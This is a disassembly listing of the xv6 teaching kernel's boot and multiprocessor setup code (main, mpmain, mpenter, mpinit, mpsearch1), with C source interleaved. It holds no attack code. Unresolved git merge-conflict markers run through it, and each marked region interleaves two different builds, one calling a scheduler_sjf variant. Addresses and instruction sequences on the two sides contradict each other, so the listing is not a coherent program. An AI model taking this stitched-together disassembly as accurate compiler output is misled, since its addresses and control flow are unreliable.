80102e40: 83 ec 0c sub $0xc,%esp
80102e43: 68 0f 78 10 80 push $0x8010780f
80102e48: e8 23 d5 ff ff call 80100370 <panic>
if (log.outstanding < 1)
panic("log_write outside of trans");
80102e4d: 83 ec 0c sub $0xc,%esp
80102e50: 68 25 78 10 80 push $0x80107825
80102e55: e8 16 d5 ff ff call 80100370 <panic>
80102e5a: 66 90 xchg %ax,%ax
80102e5c: 66 90 xchg %ax,%ax
80102e5e: 66 90 xchg %ax,%ax
=======
80102dd0: c7 04 24 8f 75 10 80 movl $0x8010758f,(%esp)
80102dd7: e8 84 d5 ff ff call 80100360 <panic>
if (log.outstanding < 1)
panic("log_write outside of trans");
80102ddc: c7 04 24 a5 75 10 80 movl $0x801075a5,(%esp)
80102de3: e8 78 d5 ff ff call 80100360 <panic>
80102de8: 66 90 xchg %ax,%ax
80102dea: 66 90 xchg %ax,%ax
80102dec: 66 90 xchg %ax,%ax
80102dee: 66 90 xchg %ax,%ax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
80102df0 <mpmain>:
}
// Common CPU setup code.
static void
mpmain(void)
{
80102df0: 55 push %ebp
80102df1: 89 e5 mov %esp,%ebp
80102df3: 83 ec 18 sub $0x18,%esp
cprintf("cpu%d: starting\n", cpunum());
<<<<<<< HEAD
80102e66: e8 65 f8 ff ff call 801026d0 <cpunum>
80102e6b: 83 ec 08 sub $0x8,%esp
80102e6e: 50 push %eax
80102e6f: 68 40 78 10 80 push $0x80107840
80102e74: e8 e7 d7 ff ff call 80100660 <cprintf>
idtinit(); // load idt register
80102e79: e8 d2 2c 00 00 call 80105b50 <idtinit>
=======
80102df6: e8 55 f9 ff ff call 80102750 <cpunum>
80102dfb: c7 04 24 c0 75 10 80 movl $0x801075c0,(%esp)
80102e02: 89 44 24 04 mov %eax,0x4(%esp)
80102e06: e8 45 d8 ff ff call 80100650 <cprintf>
idtinit(); // load idt register
80102e0b: e8 e0 2a 00 00 call 801058f0 <idtinit>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
xchg(&cpu->started, 1); // tell startothers() we're up
80102e10: 65 8b 15 00 00 00 00 mov %gs:0x0,%edx
xchg(volatile uint *addr, uint newval)
{
uint result;
// The + in "+m" denotes a read-modify-write operand.
asm volatile("lock; xchgl %0, %1" :
<<<<<<< HEAD
80102e85: b8 01 00 00 00 mov $0x1,%eax
80102e8a: f0 87 82 a8 00 00 00 lock xchg %eax,0xa8(%edx)
scheduler_sjf(); // start running processes with sjf or random algorithm
80102e91: e8 5a 0d 00 00 call 80103bf0 <scheduler_sjf>
80102e96: 8d 76 00 lea 0x0(%esi),%esi
80102e99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
=======
80102e17: b8 01 00 00 00 mov $0x1,%eax
80102e1c: f0 87 82 a8 00 00 00 lock xchg %eax,0xa8(%edx)
scheduler(); // start running processes
80102e23: e8 28 0c 00 00 call 80103a50 <scheduler>
80102e28: 90 nop
80102e29: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
80102e30 <mpenter>:
}
// Other CPUs jump here from entryother.S.
static void
mpenter(void)
{
80102e30: 55 push %ebp
80102e31: 89 e5 mov %esp,%ebp
80102e33: 83 ec 08 sub $0x8,%esp
switchkvm();
<<<<<<< HEAD
80102ea6: e8 b5 3e 00 00 call 80106d60 <switchkvm>
seginit();
80102eab: e8 d0 3c 00 00 call 80106b80 <seginit>
=======
80102e36: e8 a5 3c 00 00 call 80106ae0 <switchkvm>
seginit();
80102e3b: e8 c0 3a 00 00 call 80106900 <seginit>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
lapicinit();
80102e40: e8 1b f8 ff ff call 80102660 <lapicinit>
mpmain();
80102e45: e8 a6 ff ff ff call 80102df0 <mpmain>
80102e4a: 66 90 xchg %ax,%ax
80102e4c: 66 90 xchg %ax,%ax
80102e4e: 66 90 xchg %ax,%ax
80102e50 <main>:
// Bootstrap processor starts running C code here.
// Allocate a real stack and switch to it, first
// doing some setup required for memory allocator to work.
int
main(void)
{
80102e50: 55 push %ebp
80102e51: 89 e5 mov %esp,%ebp
80102e53: 53 push %ebx
80102e54: 83 e4 f0 and $0xfffffff0,%esp
80102e57: 83 ec 10 sub $0x10,%esp
kinit1(end, P2V(4*1024*1024)); // phys page allocator
80102e5a: c7 44 24 04 00 00 40 movl $0x80400000,0x4(%esp)
80102e61: 80
80102e62: c7 04 24 28 56 11 80 movl $0x80115628,(%esp)
80102e69: e8 62 f5 ff ff call 801023d0 <kinit1>
kvmalloc(); // kernel page table
<<<<<<< HEAD
80102ee1: e8 5a 3e 00 00 call 80106d40 <kvmalloc>
=======
80102e6e: e8 4d 3c 00 00 call 80106ac0 <kvmalloc>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
mpinit(); // detect other processors
80102e73: e8 a8 01 00 00 call 80103020 <mpinit>
lapicinit(); // interrupt controller
80102e78: e8 e3 f7 ff ff call 80102660 <lapicinit>
80102e7d: 8d 76 00 lea 0x0(%esi),%esi
seginit(); // segment descriptors
<<<<<<< HEAD
80102ef0: e8 8b 3c 00 00 call 80106b80 <seginit>
cprintf("\ncpu%d: starting xv6\n\n", cpunum());
80102ef5: e8 d6 f7 ff ff call 801026d0 <cpunum>
80102efa: 5a pop %edx
80102efb: 59 pop %ecx
80102efc: 50 push %eax
80102efd: 68 51 78 10 80 push $0x80107851
80102f02: e8 59 d7 ff ff call 80100660 <cprintf>
=======
80102e80: e8 7b 3a 00 00 call 80106900 <seginit>
cprintf("\ncpu%d: starting xv6\n\n", cpunum());
80102e85: e8 c6 f8 ff ff call 80102750 <cpunum>
80102e8a: c7 04 24 d1 75 10 80 movl $0x801075d1,(%esp)
80102e91: 89 44 24 04 mov %eax,0x4(%esp)
80102e95: e8 b6 d7 ff ff call 80100650 <cprintf>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
picinit(); // another interrupt controller
80102e9a: e8 81 03 00 00 call 80103220 <picinit>
ioapicinit(); // another interrupt controller
80102e9f: e8 4c f3 ff ff call 801021f0 <ioapicinit>
consoleinit(); // console hardware
80102ea4: e8 a7 da ff ff call 80100950 <consoleinit>
uartinit(); // serial port
<<<<<<< HEAD
80102f16: e8 35 2f 00 00 call 80105e50 <uartinit>
=======
80102ea9: e8 62 2d 00 00 call 80105c10 <uartinit>
80102eae: 66 90 xchg %ax,%ax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
pinit(); // process table
80102eb0: e8 9b 08 00 00 call 80103750 <pinit>
tvinit(); // trap vectors
<<<<<<< HEAD
80102f20: e8 8b 2b 00 00 call 80105ab0 <tvinit>
=======
80102eb5: e8 96 29 00 00 call 80105850 <tvinit>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
binit(); // buffer cache
80102eba: e8 81 d1 ff ff call 80100040 <binit>
80102ebf: 90 nop
fileinit(); // file table
80102ec0: e8 7b de ff ff call 80100d40 <fileinit>
ideinit(); // disk
80102ec5: e8 16 f1 ff ff call 80101fe0 <ideinit>
if(!ismp)
80102eca: a1 84 27 11 80 mov 0x80112784,%eax
80102ecf: 85 c0 test %eax,%eax
80102ed1: 0f 84 ca 00 00 00 je 80102fa1 <main+0x151>
// Write entry code to unused memory at 0x7000.
// The linker has placed the image of entryother.S in
// _binary_entryother_start.
code = P2V(0x7000);
memmove(code, _binary_entryother_start, (uint)_binary_entryother_size);
80102ed7: c7 44 24 08 8a 00 00 movl $0x8a,0x8(%esp)
80102ede: 00
for(c = cpus; c < cpus+ncpu; c++){
80102edf: bb a0 27 11 80 mov $0x801127a0,%ebx
// Write entry code to unused memory at 0x7000.
// The linker has placed the image of entryother.S in
// _binary_entryother_start.
code = P2V(0x7000);
memmove(code, _binary_entryother_start, (uint)_binary_entryother_size);
<<<<<<< HEAD
80102f4d: 68 8a 00 00 00 push $0x8a
80102f52: 68 8c a4 10 80 push $0x8010a48c
80102f57: 68 00 70 00 80 push $0x80007000
80102f5c: e8 8f 18 00 00 call 801047f0 <memmove>
=======
80102ee4: c7 44 24 04 8c a4 10 movl $0x8010a48c,0x4(%esp)
80102eeb: 80
80102eec: c7 04 24 00 70 00 80 movl $0x80007000,(%esp)
80102ef3: e8 a8 16 00 00 call 801045a0 <memmove>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
for(c = cpus; c < cpus+ncpu; c++){
80102ef8: 69 05 80 2d 11 80 bc imul $0xbc,0x80112d80,%eax
80102eff: 00 00 00
80102f02: 05 a0 27 11 80 add $0x801127a0,%eax
80102f07: 39 d8 cmp %ebx,%eax
80102f09: 76 78 jbe 80102f83 <main+0x133>
80102f0b: 90 nop
80102f0c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(c == cpus+cpunum()) // We've started already.
80102f10: e8 3b f8 ff ff call 80102750 <cpunum>
80102f15: 69 c0 bc 00 00 00 imul $0xbc,%eax,%eax
80102f1b: 05 a0 27 11 80 add $0x801127a0,%eax
80102f20: 39 c3 cmp %eax,%ebx
80102f22: 74 46 je 80102f6a <main+0x11a>
continue;
// Tell entryother.S what stack to use, where to enter, and what
// pgdir to use. We cannot use kpgdir yet, because the AP processor
// is running in low memory, so we use entrypgdir for the APs too.
stack = kalloc();
80102f24: e8 67 f5 ff ff call 80102490 <kalloc>
*(void**)(code-4) = stack + KSTACKSIZE;
*(void**)(code-8) = mpenter;
80102f29: c7 05 f8 6f 00 80 30 movl $0x80102e30,0x80006ff8
80102f30: 2e 10 80
*(int**)(code-12) = (void *) V2P(entrypgdir);
80102f33: c7 05 f4 6f 00 80 00 movl $0x109000,0x80006ff4
80102f3a: 90 10 00
// Tell entryother.S what stack to use, where to enter, and what
// pgdir to use. We cannot use kpgdir yet, because the AP processor
// is running in low memory, so we use entrypgdir for the APs too.
stack = kalloc();
*(void**)(code-4) = stack + KSTACKSIZE;
80102f3d: 05 00 10 00 00 add $0x1000,%eax
80102f42: a3 fc 6f 00 80 mov %eax,0x80006ffc
*(void**)(code-8) = mpenter;
*(int**)(code-12) = (void *) V2P(entrypgdir);
lapicstartap(c->apicid, V2P(code));
80102f47: 0f b6 03 movzbl (%ebx),%eax
80102f4a: c7 44 24 04 00 70 00 movl $0x7000,0x4(%esp)
80102f51: 00
80102f52: 89 04 24 mov %eax,(%esp)
80102f55: e8 c6 f8 ff ff call 80102820 <lapicstartap>
80102f5a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
// wait for cpu to finish mpmain()
while(c->started == 0)
80102f60: 8b 83 a8 00 00 00 mov 0xa8(%ebx),%eax
80102f66: 85 c0 test %eax,%eax
80102f68: 74 f6 je 80102f60 <main+0x110>
// The linker has placed the image of entryother.S in
// _binary_entryother_start.
code = P2V(0x7000);
memmove(code, _binary_entryother_start, (uint)_binary_entryother_size);
for(c = cpus; c < cpus+ncpu; c++){
80102f6a: 69 05 80 2d 11 80 bc imul $0xbc,0x80112d80,%eax
80102f71: 00 00 00
80102f74: 81 c3 bc 00 00 00 add $0xbc,%ebx
80102f7a: 05 a0 27 11 80 add $0x801127a0,%eax
80102f7f: 39 c3 cmp %eax,%ebx
80102f81: 72 8d jb 80102f10 <main+0xc0>
fileinit(); // file table
ideinit(); // disk
if(!ismp)
timerinit(); // uniprocessor timer
startothers(); // start other processors
kinit2(P2V(4*1024*1024), P2V(PHYSTOP)); // must come after startothers()
80102f83: c7 44 24 04 00 00 00 movl $0x8e000000,0x4(%esp)
80102f8a: 8e
80102f8b: c7 04 24 00 00 40 80 movl $0x80400000,(%esp)
80102f92: e8 a9 f4 ff ff call 80102440 <kinit2>
userinit(); // first user process
80102f97: e8 d4 07 00 00 call 80103770 <userinit>
mpmain(); // finish this processor's setup
80102f9c: e8 4f fe ff ff call 80102df0 <mpmain>
tvinit(); // trap vectors
binit(); // buffer cache
fileinit(); // file table
ideinit(); // disk
if(!ismp)
timerinit(); // uniprocessor timer
<<<<<<< HEAD
8010300f: e8 3c 2a 00 00 call 80105a50 <timerinit>
80103014: e9 2c ff ff ff jmp 80102f45 <main+0x85>
80103019: 66 90 xchg %ax,%ax
8010301b: 66 90 xchg %ax,%ax
8010301d: 66 90 xchg %ax,%ax
8010301f: 90 nop
=======
80102fa1: e8 4a 28 00 00 call 801057f0 <timerinit>
80102fa6: e9 2c ff ff ff jmp 80102ed7 <main+0x87>
80102fab: 66 90 xchg %ax,%ax
80102fad: 66 90 xchg %ax,%ax
80102faf: 90 nop
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
80102fb0 <mpsearch1>:
}
// Look for an MP structure in the len bytes at addr.
static struct mp*
mpsearch1(uint a, int len)
{
80102fb0: 55 push %ebp
80102fb1: 89 e5 mov %esp,%ebp
80102fb3: 56 push %esi
uchar *e, *p, *addr;
addr = P2V(a);
80102fb4: 8d b0 00 00 00 80 lea -0x80000000(%eax),%esi
}
// Look for an MP structure in the len bytes at addr.
static struct mp*
mpsearch1(uint a, int len)
{
80102fba: 53 push %ebx
uchar *e, *p, *addr;
addr = P2V(a);
e = addr+len;
80102fbb: 8d 1c 16 lea (%esi,%edx,1),%ebx
}
// Look for an MP structure in the len bytes at addr.
static struct mp*
mpsearch1(uint a, int len)
{
80102fbe: 83 ec 10 sub $0x10,%esp
uchar *e, *p, *addr;
addr = P2V(a);
e = addr+len;
for(p = addr; p < e; p += sizeof(struct mp))
80102fc1: 39 de cmp %ebx,%esi
80102fc3: 73 3c jae 80103001 <mpsearch1+0x51>
80102fc5: 8d 76 00 lea 0x0(%esi),%esi
if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0)
<<<<<<< HEAD
80103040: 83 ec 04 sub $0x4,%esp
80103043: 8d 7e 10 lea 0x10(%esi),%edi
80103046: 6a 04 push $0x4
80103048: 68 68 78 10 80 push $0x80107868
8010304d: 56 push %esi
8010304e: e8 3d 17 00 00 call 80104790 <memcmp>
80103053: 83 c4 10 add $0x10,%esp
80103056: 85 c0 test %eax,%eax
80103058: 75 1e jne 80103078 <mpsearch1+0x58>
8010305a: 8d 7e 10 lea 0x10(%esi),%edi
8010305d: 89 f2 mov %esi,%edx
8010305f: 31 c9 xor %ecx,%ecx
80103061: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
=======
80102fc8: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp)
80102fcf: 00
80102fd0: c7 44 24 04 e8 75 10 movl $0x801075e8,0x4(%esp)
80102fd7: 80
80102fd8: 89 34 24 mov %esi,(%esp)
80102fdb: e8 70 15 00 00 call 80104550 <memcmp>
80102fe0: 85 c0 test %eax,%eax
80102fe2: 75 16 jne 80102ffa <mpsearch1+0x4a>
80102fe4: 31 c9 xor %ecx,%ecx
80102fe6: 31 d2 xor %edx,%edx
{
int i, sum;
sum = 0;
for(i=0; i<len; i++)
sum += addr[i];
80102fe8: 0f b6 04 16 movzbl (%esi,%edx,1),%eax
sum(uchar *addr, int len)
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
{
int i, sum;
sum = 0;
for(i=0; i<len; i++)
80102fec: 83 c2 01 add $0x1,%edx
sum += addr[i];
80102fef: 01 c1 add %eax,%ecx
sum(uchar *addr, int len)
{
int i, sum;
sum = 0;
for(i=0; i<len; i++)
80102ff1: 83 fa 10 cmp $0x10,%edx
80102ff4: 75 f2 jne 80102fe8 <mpsearch1+0x38>
uchar *e, *p, *addr;
addr = P2V(a);
e = addr+len;
for(p = addr; p < e; p += sizeof(struct mp))
if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0)
80102ff6: 84 c9 test %cl,%cl
80102ff8: 74 10 je 8010300a <mpsearch1+0x5a>
{
uchar *e, *p, *addr;
addr = P2V(a);
e = addr+len;
for(p = addr; p < e; p += sizeof(struct mp))
80102ffa: 83 c6 10 add $0x10,%esi
80102ffd: 39 f3 cmp %esi,%ebx
80102fff: 77 c7 ja 80102fc8 <mpsearch1+0x18>
if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0)
return (struct mp*)p;
return 0;
}
80103001: 83 c4 10 add $0x10,%esp
addr = P2V(a);
e = addr+len;
for(p = addr; p < e; p += sizeof(struct mp))
if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0)
return (struct mp*)p;
return 0;
80103004: 31 c0 xor %eax,%eax
}
80103006: 5b pop %ebx
80103007: 5e pop %esi
80103008: 5d pop %ebp
80103009: c3 ret
8010300a: 83 c4 10 add $0x10,%esp
8010300d: 89 f0 mov %esi,%eax
8010300f: 5b pop %ebx
80103010: 5e pop %esi
80103011: 5d pop %ebp
80103012: c3 ret
80103013: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80103019: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80103020 <mpinit>:
return conf;
}
void
mpinit(void)
{
80103020: 55 push %ebp
80103021: 89 e5 mov %esp,%ebp
80103023: 57 push %edi
80103024: 56 push %esi
80103025: 53 push %ebx
80103026: 83 ec 1c sub $0x1c,%esp
uchar *bda;
uint p;
struct mp *mp;
bda = (uchar *) P2V(0x400);
if((p = ((bda[0x0F]<<8)| bda[0x0E]) << 4)){
80103029: 0f b6 05 0f 04 00 80 movzbl 0x8000040f,%eax
80103030: 0f b6 15 0e 04 00 80 movzbl 0x8000040e,%edx
80103037: c1 e0 08 shl $0x8,%eax
8010303a: 09 d0 or %edx,%eax
8010303c: c1 e0 04 shl $0x4,%eax
8010303f: 85 c0 test %eax,%eax
80103041: 75 1b jne 8010305e <mpinit+0x3e>
if((mp = mpsearch1(p, 1024)))
return mp;
} else {
p = ((bda[0x14]<<8)|bda[0x13])*1024;
80103043: 0f b6 05 14 04 00 80 movzbl 0x80000414,%eax
8010304a: 0f b6 15 13 04 00 80 movzbl 0x80000413,%edx
80103051: c1 e0 08 shl $0x8,%eax
80103054: 09 d0 or %edx,%eax
80103056: c1 e0 0a shl $0xa,%eax
if((mp = mpsearch1(p-1024, 1024)))
80103059: 2d 00 04 00 00 sub $0x400,%eax
uint p;
struct mp *mp;
bda = (uchar *) P2V(0x400);
if((p = ((bda[0x0F]<<8)| bda[0x0E]) << 4)){
if((mp = mpsearch1(p, 1024)))
8010305e: ba 00 04 00 00 mov $0x400,%edx
80103063: e8 48 ff ff ff call 80102fb0 <mpsearch1>
80103068: 85 c0 test %eax,%eax
8010306a: 89 c7 mov %eax,%edi
8010306c: 0f 84 4e 01 00 00 je 801031c0 <mpinit+0x1a0>
mpconfig(struct mp **pmp)
{
struct mpconf *conf;
struct mp *mp;
if((mp = mpsearch()) == 0 || mp->physaddr == 0)
80103072: 8b 77 04 mov 0x4(%edi),%esi
80103075: 85 f6 test %esi,%esi
80103077: 0f 84 ce 00 00 00 je 8010314b <mpinit+0x12b>
return 0;
conf = (struct mpconf*) P2V((uint) mp->physaddr);
8010307d: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax
if(memcmp(conf, "PCMP", 4) != 0)
<<<<<<< HEAD
80103103: 83 ec 04 sub $0x4,%esp
80103106: 6a 04 push $0x4
80103108: 68 6d 78 10 80 push $0x8010786d
8010310d: 50 push %eax
=======
80103083: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp)
8010308a: 00
8010308b: c7 44 24 04 ed 75 10 movl $0x801075ed,0x4(%esp)
80103092: 80
80103093: 89 04 24 mov %eax,(%esp)
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
struct mpconf *conf;
struct mp *mp;
if((mp = mpsearch()) == 0 || mp->physaddr == 0)
return 0;
conf = (struct mpconf*) P2V((uint) mp->physaddr);
80103096: 89 45 e4 mov %eax,-0x1c(%ebp)
if(memcmp(conf, "PCMP", 4) != 0)
<<<<<<< HEAD
80103111: e8 7a 16 00 00 call 80104790 <memcmp>
80103116: 83 c4 10 add $0x10,%esp
80103119: 85 c0 test %eax,%eax
8010311b: 0f 85 b2 00 00 00 jne 801031d3 <mpinit+0x133>
=======
80103099: e8 b2 14 00 00 call 80104550 <memcmp>
8010309e: 85 c0 test %eax,%eax
801030a0: 0f 85 a5 00 00 00 jne 8010314b <mpinit+0x12b>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
return 0;
if(conf->version != 1 && conf->version != 4)
801030a6: 0f b6 86 06 00 00 80 movzbl -0x7ffffffa(%esi),%eax
801030ad: 3c 04 cmp $0x4,%al
801030af: 0f 85 29 01 00 00 jne 801031de <mpinit+0x1be>
return 0;
if(sum((uchar*)conf, conf->length) != 0)
801030b5: 0f b7 86 04 00 00 80 movzwl -0x7ffffffc(%esi),%eax
sum(uchar *addr, int len)
{
int i, sum;
sum = 0;
for(i=0; i<len; i++)
801030bc: 85 c0 test %eax,%eax
801030be: 74 1d je 801030dd <mpinit+0xbd>
static uchar
sum(uchar *addr, int len)
{
int i, sum;
sum = 0;
801030c0: 31 c9 xor %ecx,%ecx
for(i=0; i<len; i++)
801030c2: 31 d2 xor %edx,%edx
801030c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
sum += addr[i];
801030c8: 0f b6 9c 16 00 00 00 movzbl -0x80000000(%esi,%edx,1),%ebx
801030cf: 80
sum(uchar *addr, int len)
{
int i, sum;
sum = 0;
for(i=0; i<len; i++)
801030d0: 83 c2 01 add $0x1,%edx
sum += addr[i];
801030d3: 01 d9 add %ebx,%ecx
sum(uchar *addr, int len)
{
int i, sum;
sum = 0;
for(i=0; i<len; i++)
801030d5: 39 d0 cmp %edx,%eax
801030d7: 7f ef jg 801030c8 <mpinit+0xa8>
conf = (struct mpconf*) P2V((uint) mp->physaddr);
if(memcmp(conf, "PCMP", 4) != 0)
return 0;
if(conf->version != 1 && conf->version != 4)
return 0;
if(sum((uchar*)conf, conf->length) != 0)
801030d9: 84 c9 test %cl,%cl
801030db: 75 6e jne 8010314b <mpinit+0x12b>
struct mp *mp;
struct mpconf *conf;
struct mpproc *proc;
struct mpioapic *ioapic;
if((conf = mpconfig(&mp)) == 0)
801030dd: 8b 5d e4 mov -0x1c(%ebp),%ebx
801030e0: 85 db test %ebx,%ebx
801030e2: 74 67 je 8010314b <mpinit+0x12b>
return;
ismp = 1;
801030e4: c7 05 84 27 11 80 01 movl $0x1,0x80112784
801030eb: 00 00 00
lapic = (uint*)conf->lapicaddr;
801030ee: 8b 86 24 00 00 80 mov -0x7fffffdc(%esi),%eax
801030f4: a3 9c 26 11 80 mov %eax,0x8011269c
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
801030f9: 0f b7 8e 04 00 00 80 movzwl -0x7ffffffc(%esi),%ecx
80103100: 8d 86 2c 00 00 80 lea -0x7fffffd4(%esi),%eax
80103106: 01 d9 add %ebx,%ecx
80103108: 39 c8 cmp %ecx,%eax
8010310a: 0f 83 90 00 00 00 jae 801031a0 <mpinit+0x180>
switch(*p){
<<<<<<< HEAD
80103190: 80 38 04 cmpb $0x4,(%eax)
80103193: 0f 87 87 00 00 00 ja 80103220 <mpinit+0x180>
80103199: 0f b6 10 movzbl (%eax),%edx
8010319c: ff 24 95 74 78 10 80 jmp *-0x7fef878c(,%edx,4)
801031a3: 90 nop
801031a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
=======
80103110: 80 38 04 cmpb $0x4,(%eax)
80103113: 77 7b ja 80103190 <mpinit+0x170>
80103115: 0f b6 10 movzbl (%eax),%edx
80103118: ff 24 95 f4 75 10 80 jmp *-0x7fef8a0c(,%edx,4)
8010311f: 90 nop
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
p += sizeof(struct mpioapic);
continue;
case MPBUS:
case MPIOINTR:
case MPLINTR:
p += 8;
80103120: 83 c0 08 add $0x8,%eax
if((conf = mpconfig(&mp)) == 0)
return;
ismp = 1;
lapic = (uint*)conf->lapicaddr;
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
80103123: 39 c1 cmp %eax,%ecx
80103125: 77 e9 ja 80103110 <mpinit+0xf0>
default:
ismp = 0;
break;
}
}
if(!ismp){
80103127: a1 84 27 11 80 mov 0x80112784,%eax
8010312c: 85 c0 test %eax,%eax
8010312e: 75 70 jne 801031a0 <mpinit+0x180>
// Didn't like what we found; fall back to no MP.
ncpu = 1;
80103130: c7 05 80 2d 11 80 01 movl $0x1,0x80112d80
80103137: 00 00 00
lapic = 0;
8010313a: c7 05 9c 26 11 80 00 movl $0x0,0x8011269c
80103141: 00 00 00
ioapicid = 0;
80103144: c6 05 80 27 11 80 00 movb $0x0,0x80112780
// Bochs doesn't support IMCR, so this doesn't run on Bochs.
// But it would on real hardware.
outb(0x22, 0x70); // Select IMCR
outb(0x23, inb(0x23) | 1); // Mask external interrupts.
}
}
8010314b: 83 c4 1c add $0x1c,%esp
8010314e: 5b pop %ebx
8010314f: 5e pop %esi
80103150: 5f pop %edi
80103151: 5d pop %ebp
80103152: c3 ret
80103153: 90 nop
80103154: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
lapic = (uint*)conf->lapicaddr;
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
switch(*p){
case MPPROC:
proc = (struct mpproc*)p;
if(ncpu < NCPU) {
80103158: 8b 15 80 2d 11 80 mov 0x80112d80,%edx
8010315e: 83 fa 07 cmp $0x7,%edx
80103161: 7f 17 jg 8010317a <mpinit+0x15a>
cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu
80103163: 0f b6 58 01 movzbl 0x1(%eax),%ebx
80103167: 69 d2 bc 00 00 00 imul $0xbc,%edx,%edx
ncpu++;
8010316d: 83 05 80 2d 11 80 01 addl $0x1,0x80112d80
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
switch(*p){
case MPPROC:
proc = (struct mpproc*)p;
if(ncpu < NCPU) {
cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu
80103174: 88 9a a0 27 11 80 mov %bl,-0x7feed860(%edx)
ncpu++;
}
p += sizeof(struct mpproc);
8010317a: 83 c0 14 add $0x14,%eax
continue;
8010317d: eb a4 jmp 80103123 <mpinit+0x103>
8010317f: 90 nop
case MPIOAPIC:
ioapic = (struct mpioapic*)p;
ioapicid = ioapic->apicno;
80103180: 0f b6 50 01 movzbl 0x1(%eax),%edx
p += sizeof(struct mpioapic);
80103184: 83 c0 08 add $0x8,%eax
}
p += sizeof(struct mpproc);
continue;
case MPIOAPIC:
ioapic = (struct mpioapic*)p;
ioapicid = ioapic->apicno;
80103187: 88 15 80 27 11 80 mov %dl,0x80112780
p += sizeof(struct mpioapic);
continue;
8010318d: eb 94 jmp 80103123 <mpinit+0x103>
8010318f: 90 nop
case MPIOINTR:
case MPLINTR:
p += 8;
continue;
default:
ismp = 0;
80103190: c7 05 84 27 11 80 00 movl $0x0,0x80112784
80103197: 00 00 00
break;
8010319a: eb 87 jmp 80103123 <mpinit+0x103>
8010319c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
lapic = 0;
ioapicid = 0;
return;
}
if(mp->imcrp){
801031a0: 80 7f 0c 00 cmpb $0x0,0xc(%edi)
801031a4: 74 a5 je 8010314b <mpinit+0x12b>
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801031a6: ba 22 00 00 00 mov $0x22,%edx
801031ab: b8 70 00 00 00 mov $0x70,%eax
801031b0: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801031b1: b2 23 mov $0x23,%dl
801031b3: ec in (%dx),%al
// Bochs doesn't support IMCR, so this doesn't run on Bochs.
// But it would on real hardware.
outb(0x22, 0x70); // Select IMCR
outb(0x23, inb(0x23) | 1); // Mask external interrupts.
801031b4: 83 c8 01 or $0x1,%eax
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801031b7: ee out %al,(%dx)
}
}
801031b8: 83 c4 1c add $0x1c,%esp
801031bb: 5b pop %ebx
801031bc: 5e pop %esi
801031bd: 5f pop %edi
801031be: 5d pop %ebp
801031bf: c3 ret
} else {
p = ((bda[0x14]<<8)|bda[0x13])*1024;
if((mp = mpsearch1(p-1024, 1024)))
return mp;
}
return mpsearch1(0xF0000, 0x10000);
801031c0: ba 00 00 01 00 mov $0x10000,%edx
801031c5: b8 00 00 0f 00 mov $0xf0000,%eax
801031ca: e8 e1 fd ff ff call 80102fb0 <mpsearch1>
mpconfig(struct mp **pmp)
{
struct mpconf *conf;
struct mp *mp;
if((mp = mpsearch()) == 0 || mp->physaddr == 0)
801031cf: 85 c0 test %eax,%eax
} else {
p = ((bda[0x14]<<8)|bda[0x13])*1024;
if((mp = mpsearch1(p-1024, 1024)))
return mp;
}
return mpsearch1(0xF0000, 0x10000);
801031d1: 89 c7 mov %eax,%edi
mpconfig(struct mp **pmp)
{
struct mpconf *conf;
struct mp *mp;
if((mp = mpsearch()) == 0 || mp->physaddr == 0)
801031d3: 0f 85 99 fe ff ff jne 80103072 <mpinit+0x52>
801031d9: e9 6d ff ff ff jmp 8010314b <mpinit+0x12b>
return 0;
conf = (struct mpconf*) P2V((uint) mp->physaddr);
if(memcmp(conf, "PCMP", 4) != 0)
return 0;
if(conf->version != 1 && conf->version != 4)
801031de: 3c 01 cmp $0x1,%al
801031e0: 0f 84 cf fe ff ff je 801030b5 <mpinit+0x95>
801031e6: e9 60 ff ff ff jmp 8010314b <mpinit+0x12b>
801031eb: 66 90 xchg %ax,%ax
801031ed: 66 90 xchg %ax,%ax
